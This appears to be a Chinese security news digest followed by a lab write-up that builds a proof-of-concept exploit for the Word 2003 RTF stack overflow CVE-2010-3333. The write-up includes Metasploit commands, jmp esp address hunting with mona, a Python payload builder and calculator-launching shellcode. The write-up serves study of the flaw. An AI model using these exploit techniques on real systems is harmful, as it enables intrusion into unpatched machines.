加拿大量子计算公司D-Wave宣布,它将向任何正在研究COVID-19病毒的研究者提供量子计算云服务,不仅局限于那些专注于新药研发的科学家,而且对任何致力于解决当前危机的研究者或团队开放,无论是物流、病毒传播建模还是新型诊断方面。[阅读原文]

2.Mozilla发起“修正互联网”的春季MVP实验室挑战赛

知名浏览器 Firefox 开发商 Mozilla,刚刚发起了一项旨在“修正互联网”的分布式 Web 3.0 新活动。感兴趣的程序员、创作者和其它普通人,都可以通过加入“春季 MVP 实验室”(Fix-The-Internet Spring MVP Lab)来帮助改进技术,共同构建和测试新产品。[阅读原文]

3.网络建设提速!工信部预计年底全国5G基站超60万个

工信部将加快推进5G网络建设进度,预计年底全国5G基站数超过60万个,实现地级市室外连续覆盖、县城及乡镇有重点覆盖、重点场景室内覆盖。[阅读原文]

4.实测发现Tapplock One Plus指纹门锁很容易被磁铁破解

Tapplock 是一家指纹门锁制造商,但近年来的研究证实其安全性其实很差。因为攻击者并不需要对指纹认证系统下手,而是只需一枚磁铁,即可让 One Plus 智能门锁的防御措施变得形同虚设。上周,YouTube 视频博主 LockPickingLawyer 分享了一段视频,展示其是如何通过强力磁铁来转动该门锁的内部机构,从而在不到 30 秒的时间里成功破解。[阅读原文]

5.严重的WordPress插件错误使黑客能够将用户转变为管理员

WordPress SEO插件– Rank Math插件中存在一个严重的特权升级漏洞,如果未修补,攻击者可以让攻击者向200,000个站点之一中具有活动安装位置的任何注册用户授予管理员特权。[外刊-阅读原文]

6.万豪报告数据泄露影响多达520万客人

万豪国际披露,在2020年2月底发现的数据泄露事件中,约520万酒店客人的个人信息受到影响。[外刊-阅读原文]

【优质文章】

1.基于风险的应用程序安全方法可增强安全防御

如今,不可否认的是网络犯罪已逐渐进入人们的生活,为人们所重视。无论何时,随意浏览新闻都能看到新漏洞的发现,或者是敏感信息的泄露、窃取等。因此,任何企业董事会都应该尽早加强网络安全防御。[阅读原文]

2.零信任架构实战系列:如何选择零信任架构

零信任和传统安全的区别在哪里,是否带来真正的价值?以及什么场景可以选择零信任架构?这篇文章把传统安全模型和零信任进行具体分析,然后再以此展开后续内容。[阅读原文]

3.研究 | 基于IPv6+的下一代互联网技术创新

5G和云时代的复杂业务场景,对网络简化、网络体验和网络智能化提出了更高要求,需要在IPv6 ready基础上,进一步将IPv6与创新技术结合,发展增强型的“IPv6+”网络。[阅读原文]

*本文内容收集自全球范围内的媒体与刊物,制作者对其完整性负责,但不对其真实性和有效性负责。

*标注为【外刊】的内容主要来源为英语国家的媒体与刊物,部分内容需要注册免费账号后方可阅读。

最近看CVE-2010-3333漏洞,便亲自动手做一个弹出计算器的POC。

一、实验环境

操作系统:Windows XP SP3简体中文版

漏洞软件:Office Word 2003 11.5604.5606或者11.8169.8172

调试工具:

IDA Pro 6.8

WinDbg 6.12.0002.633 X86

Immunity Debugger v1.85

首先Word版本一定要匹配,否则调试过程中的溢出地址不同。本实验中Word的版本为11.5604.5606,如图1所示。

图1 Word版本

注意Office更新包安装的情况,会对版本号有影响。Microsoft Office产品的版本号使用下面的形式:aa.bbbb.cccc。此数字代表三个项目:aa:Office的版本:11即2003;12即2007;14即2010。bbbb:程序的可执行文件的版本。例如Winword.exe文件的版本。cccc:mso.dll文件的版本。

在安装Office更新后,可能会更新mso.dll的版本,原始的mso.dll文件会备份到C:\Windows\Installer\$PatchCache$\Managed\目录下。本实验正确的mso.dll版本为11.0.5606.0(默认路径C:\Program Files\CommonFiles\Microsoft Shared\office11\mso.dll,文件的MD5值为:251c11444f614de5fa47ecf7275e7bf1),mso.dll文件版本如图2所示。

图2 mso.dll文件的版本

二、确定溢出点

首先使用Metasploit生成可以触发漏洞的rtf文件,命令如下所示。也可以直接去相关论坛下载触发异常的rtf文件,本文使用Metasploit生成的msf_crash.rtf文件。

use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set target 6
exploit

打开Word,使用WinDbg附加Word进程,然后使用Word打开msf_crash.rtf文件,触发异常,程序断在0x30e9eb88,如图3所示,此时查看调用栈发现已被破坏。

图3 程序断在0x30e9eb88

再次重启Word,在0x30e9eb88处下断点,然后断下后,查看调用栈,如图4所示。

图4 查看调用栈

使用ub命令查看具体的调用函数,如图5所示。

图5 查看调用函数

根据上述分析我们可知函数调用关系(mso.dll版本为11.0.5606.0),如图6所示。mso.dll版本为11.0.8172.0时的情况如图7所示。

图6 函数调用关系图(mso.dll版本为11.0.5606.0)

图7 函数调用关系图(mso.dll版本为11.0.8172.0)

三、构造POC

在0x30E9EB88处下断点,然后查看栈中,如图8所示。其中esi指向的位置为缓冲区开始位置;edi指向的位置为0x00233DC0,距离函数sub_30F4CC5D返回地址为20个字节。

图8 溢出时栈分析

此时再对比rtf文件中的内容,发生异常前在EIP=0x30e9eb83时,ECX=0xc8ac,然后执行逻辑右移指令shr ecx,2,0xc8ac/4=0x322b。因为是双字操作,所以除以4。如图9所示,0xc8ac来源自文件中,esi对应的内容也来自文件中。我们可以通过修改rtf文件控制复制的字节数和复制的内容,便可以覆盖返回地址,这是一个栈溢出漏洞。

图9 原始msf_crash.rtf文件

函数sub_30F4CC5D的尾声部分代码如图10所示,又弹出0×14字节,所以在构造poc时,要补上0×14个字节。

图10 函数sub_30F4CC5D尾声代码

根据上述分析我们可以构造出shellcode的布局,如图11所示。

图11 shellcode布局

首先找一个jmp esp的地址,我们可以选择0x7FFA4512(即魔法跳转地址,在Win7 32位以下版本中均指向jmp esp)。也可以使用mona插件寻找一个合适的,本文使用mona插件寻找一个合适的地址。

首先使用!mona modules命令找到一个找到Rebase、SafeSEH、ASLR、NXCompat为False,而OS DLL为True的系统模块。部分结果如下所示,我们选择OLEACC.dll模块。

0BADF00D    Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D   -----------------------------------------------------------------------------------------------------------------
0BADF00D    0x74be0000 | 0x74c0c000 | 0x0002c000 | False  | False   | False |  False   | True   | 4.2.5406.0 [OLEACC.dll] (C:\WINDOWS\system32\OLEACC.dll)
0BADF00D    0x73390000 | 0x734e3000 | 0x00153000 | False  | False   | False |  False   | True   | 6.00.9802 [MSVBVM60.DLL] (C:\WINDOWS\system32\MSVBVM60.DLL)
0BADF00D    0x3b030000 | 0x3b0d9000 | 0x000a9000 | False  | False   | False |  False   | True   | 6.0.0.2527 [IMS**0A.IME] (C:\WINDOWS\system32\IMS**0A.IME)

使用!mona assemble -s “jmp esp”命令生成jmp esp的机器码,机器码为\xff\xe4,如图12所示。

图12 mona生成jmp esp的机器码

然后使用!mona find -s “\xff\xe4″ -m OLEACC.dll命令搜索OLEACC.dll模块中jmp esp指令,结果如下所示。搜索到2个结果,但是都是{PAGE_READONLY}。

0BADF00D   [+] Results :
74C04B1F     0x74c04b1f : "\xff\xe4" |  {PAGE_READONLY} [OLEACC.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.2.5406.0 (C:\WINDOWS\system32\OLEACC.dll)
74C074E7     0x74c074e7 : "\xff\xe4" |  {PAGE_READONLY} [OLEACC.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.2.5406.0 (C:\WINDOWS\system32\OLEACC.dll)

为了绕过DEP,我们需要找到可执行的地址,我们继续搜索MSVBVM60.DLL模块,结果如下所示,只有一个地址0x7344745D为可读可执行,我们选择0x7344745D为shellcode中使用的地址。

0BADF00D   [+] Results :
7344745D     0x7344745d : "\xff\xe4" | asciiprint,ascii {PAGE_EXECUTE_READ} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:\WINDOWS\system32\MSVBVM60.DLL)
734B514B     0x734b514b : "\xff\xe4" | asciiprint,ascii,alphanum {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:\WINDOWS\system32\MSVBVM60.DLL)
734B83CF     0x734b83cf : "\xff\xe4" |  {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:\WINDOWS\system32\MSVBVM60.DLL)
734C2867     0x734c2867 : "\xff\xe4" | asciiprint,ascii {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:\WINDOWS\system32\MSVBVM60.DLL)
734C2C13     0x734c2c13 : "\xff\xe4" | ascii {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:\WINDOWS\system32\MSVBVM60.DLL)
734C82B3     0x734c82b3 : "\xff\xe4" |  {PAGE_READONLY} [MSVBVM60.DLL] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v6.00.9802 (C:\WINDOWS\system32\MSVBVM60.DLL)
0BADF00D       Found a total of 6 pointers

在查看rtf文件时,发现文件中直接存储的数据的ASCII,故在构造poc时要特别注意。

长度计算如下:40 + 8 + 40 + 23*2 = 134 = 0×86,故在shellcode中填写8600。初步编写shellcode如下。

# 建立缓冲区
length = "8600"                     # 复制长度
padding = "0" * 40                  # 覆盖返回地址前的20个字节
padding2 = "0" * 40                 # 平衡"rent 14"弹出的字节

# 返回地址
jmp_esp = "5D744473"                # 返回地址用于jmp esp。0x7344745D。

# 计算器shellcode
shellcode = "\x31\xC9"              # xor ecx,ecx
shellcode += "\x51"                 # push ecx
shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163
shellcode += "\x54"                 # push dword ptr esp
shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD 
shellcode += "\xFF\xD0"             # call eax 调用WinExec

# 退出代码。调用ExitProcess(kernel32.dll)
shellcode += "\xB8\xFA\xCA\x81\x7C" # mov eax,0x7c81CAFA
shellcode += "\xFF\xD0"             # call eax

# 构建exploit
exploit = length + padding + jmp_esp + padding2 + shellcode

file = open('payload.txt','w')
file.write(exploit)
file.close

将生成的payload.txt中的所有内容粘贴覆盖原文件中的acc8。在0x30e9eb88处下断点。如图13所示,shellcode中的0x7344745D在内存中被破坏,后面的shellcode也被破坏,难道shellcode中存在坏字符?

图13 shellcode中的大写字母在内存中被破坏

经查阅资料和实际验证,在shellcode中所有的英文字母必须为小写。修改后shellcode如下所示。

# 建立缓冲区
length = "8600"                 # 复制长度
padding = "0" * 40              # 覆盖返回地址前的20个字节
padding2 = "0" * 40             # 平衡"rent 14"弹出的字节

# 返回地址
jmp_esp = "5d744473"            # 返回地址用于jmp esp。0x7344745D。

# 计算器shellcode
shellcode = "31c9"              # xor ecx,ecx
shellcode += "51"               # push ecx
shellcode += "6863616c63"       # push 0x636c6163
shellcode += "54"               # push dword ptr esp
shellcode += "b8ad23867c"       # mov eax,0x7c8623AD 
shellcode += "ffd0"             # call eax 调用WinExec

# 退出代码。调用ExitProcess(kernel32.dll)
shellcode += "b8faca817c"       # mov eax,0x7c81CAFA
shellcode += "ffd0"             # call eax

# 构建exploit
exploit = length + padding + jmp_esp + padding2 + shellcode

file = open('payload.txt','w')
file.write(exploit)
file.close

生成的payload.txt共有138个字节,文件内容如下。

860000000000000000000000000000000000000000005d744473000000000000000000000000000000000000000031c9516863616c6354b8ad23867cffd0b8faca817cffd0

复制生成的payload.txt中的文件内容,覆盖原文件中的acc8,修改后的rtf文件如图14所示。使用Word打开rtf文件即可成功弹出计算器。

图14 添加payload后的rtf文件

四、参考文献

《漏洞战争》林桠泉

https://bbs.pediy.com/thread-246325.htmCVE-2010-3333漏洞分析与利用

https://bbs.pediy.com/thread-248052.htmCVE-2010-3333简单的栈溢出漏洞复现

*本文原创作者:dolphin,本文属于FreeBuf原创奖励计划,未经许可禁止转载